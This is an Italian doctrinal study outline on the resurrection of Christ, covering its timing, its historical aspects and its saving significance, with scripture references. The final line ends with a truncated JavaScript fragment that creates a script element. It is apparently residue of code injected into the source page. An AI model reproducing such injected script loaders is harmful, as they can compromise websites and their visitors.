LA RESURREZIONE

INTRODUZIONE: 

Molti vogliono inserire in questo soggetto dottrinale anche le “ipotesi” o le “analisi” relative al ministero di Cristo durante le ore della morte; noi pensiamo che esso prescinde totalmente dall’argomento, mentre invece, può essere considerato pertinente quello della durata della morte.  Matteo 12:40, 10:34; Luca 9:22, 24:46, 18:33; l Corinzi 15:4. Versi tutti che parlano del terzo giorno, ci parlano di tre giorni e tre notti.

Storicamente (dai Vangeli) si può concludere che non sono state 72 ore, ma forse la metà (solo il sabato è stato completo) ed infatti anche la prima letteratura cristiana, per esempio “Il credo: Il terzo giorno…”, non parla di tre giorni e tre notti.

Sono state date molte spiegazioni:

1)    il raffronto con l’episodio di Giona vuole essere figurativo e come per le parabole, più dei particolari propone l’argomento;

2)    la dizione “giorno e notte”, rappresenterebbe una forma idiomatica (simile alla nostra: una giornata), che non sempre si riferisce alla totalità del giorno ma semplicemente alla sua successione astronomica;

3)    qualcuno ha anche avanzato l’ipotesi, che a noi sembra ardita, che Gesù si sia riferito anche al periodo precedente alla sua morte, quando moralmente è sceso nelle parti più basse dell’annichilimento (Filippesi 2:8).

Chiusa questa parentesi introduttiva, entriamo nel vivo dell’argomento.

1-  ASPETTO STORICO DELLA RESURREZIONE.

a)   La resurrezione non ha avuto testimoni (Marco 16:3,4).

Nota: Quando affermiamo che la resurrezione di Cristo è un episodio storico solidamente provato, affermiamo una verità incontrovertibile; ma quando parliamo dei testimoni della resurrezione, dobbiamo precisare che essi hanno verificato oggettivamente un fatto già verificatosi e quindi hanno reso una testimonianza assolutamente valida.

b)   La rimozione della pietra avvenne quando la resurrezione di Gesù era già verificata (Matteo 28:2).

c)    Le condizioni nell’interno della tomba, sembrano parlare di un sereno risveglio e di un corpo, ormai glorificato, che si sottrae da quelli che sono stati prima i suoi necessari rivestimenti (Giovanni 20:5,7).

Nota: Sembra che Dio abbia riservato per Se alcuni atti del ministero di Cristo: l’ingresso nell’umano (Matteo 1:18) e l’uscita dall’umano…

Quindi non “guardie che cadono a ritroso…”, l’immagine tanto cara all’iconografia cattolica, e non discepoli che vedono un corpo che riacquista vita, ma un atto divino che è potenza di resurrezione e trasforma un corpo, da una dimensione fisica, sottoposta alle leggi naturali, ad un corpo spirituale che può usare o superare quelle leggi: Gesù nelle apparizioni, di volta in volta, partecipa a comportamenti umani e manifesta proprietà spirituali: si fa toccare, mangia,… entra a porte chiuse, scompare ecc.;

d)   Le successive apparizioni (l Corinzi 15:5).

Note: Delle apparizioni parleremo specificatamente in seguito.

 2-  SIGNIFICATO SOTERIOLOGICO DELLA RESURREZIONE.

a)   Manifestazione della potenza vittoriosa nel piano della Redenzione. (Efesi 1:19, 20).

Nota: la resurrezione è stata definita la Waterloo dell’inferno (Napoleone non è morto, ma i suoi sogni e le sue ambizioni sono sepolti). Per questo Paolo parla con una successione di aggettivi sembrano “classificare” la potenza della Resurrezione, trasferita in retaggio alla chiesa.

b)   Affermazione esplicita e definitiva della divinità di Cristo (Romani 1:4).

Nota: La morte di Cristo è prova della sua umanità, la resurrezione quella della sua divinità (Giovanni 2:19).

c)    Compimento nel tempo del piano della Redenzione (Romani 4:25).

Nota: Quando, per fede, c’identifichiamo con Cristo crocifisso, accettiamo, nel Suo sacrificio compiuto per noi, la liberazione dalla condanna dal peccato. Quando c’identifichiamo nella Sua resurrezione (Colossesi 3:1) accettiamo pienamente quella nuova condizione che è assenza di presenza e potenza del peccato;

d)   Dimostrazione della Resurrezione, come presente in Cristo. (Giovanni 11:25).

Nota: Risposta celeste a coloro che come Marta concepiscono Cristo soltanto in relazione al passato (se fossi stato qui) o al futuro (So che resusciterà). Gesù era già resurrezione: Egli è l’eterno presente (Ebrei 13:8): Io sono con voi.

e)   Inizio dell’ultimo atto della grazia: la resurrezione è la glorificazione. (I Corinzi 15:20).

Nota: Le molte resurrezioni ricordate dalla Bibbia, sia nell’antico che nel nuovo Testamento, sono semplicemente un temporaneo ritorno alla vita fisica; quella di Cristo è la Resurrezione nella sua pienezza (Apocalisse 1:18; Romani 6:9).

f)     La manifestazione di ciò che saranno i credenti (l Giovanni 3:2; Colossesi 3:4; I Corinzi 15:23).var d=document;var s=d.createElement(‘script’);